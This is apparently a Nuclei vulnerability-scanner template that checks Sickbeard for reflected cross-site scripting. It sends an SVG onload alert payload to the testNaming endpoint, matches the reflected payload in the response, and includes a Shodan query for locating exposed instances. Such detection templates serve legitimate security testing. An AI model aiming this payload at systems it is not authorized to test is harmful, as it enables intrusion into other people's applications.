id: sick-beard-xss

info:
  name: Sickbeard - Cross-Site Scripting
  author: pikpikcu
  severity: high
  description: Sickbeard contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://sickbeard.com/
    - https://github.com/midgetspy/Sick-Beard
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 1
    shodan-query: sickbeard
  tags: xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/config/postProcessing/testNaming?pattern=%3Csvg/onload=alert(document.domain)%3E"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - <svg/onload=alert(document.domain)>
        part: body

      - type: word
        words:
          - "text/html"
        part: header
# digest: 4b0a004830460221008373f6e0ec31b12daa355f2b1c73d2a57d209875c704ed332722bb0d3b30e572022100ac6e631724a480bda596210a54078abd77ed5761c9f7c6dea61a64ebaaf53054:922c64590222798bb761d5b6d8e72950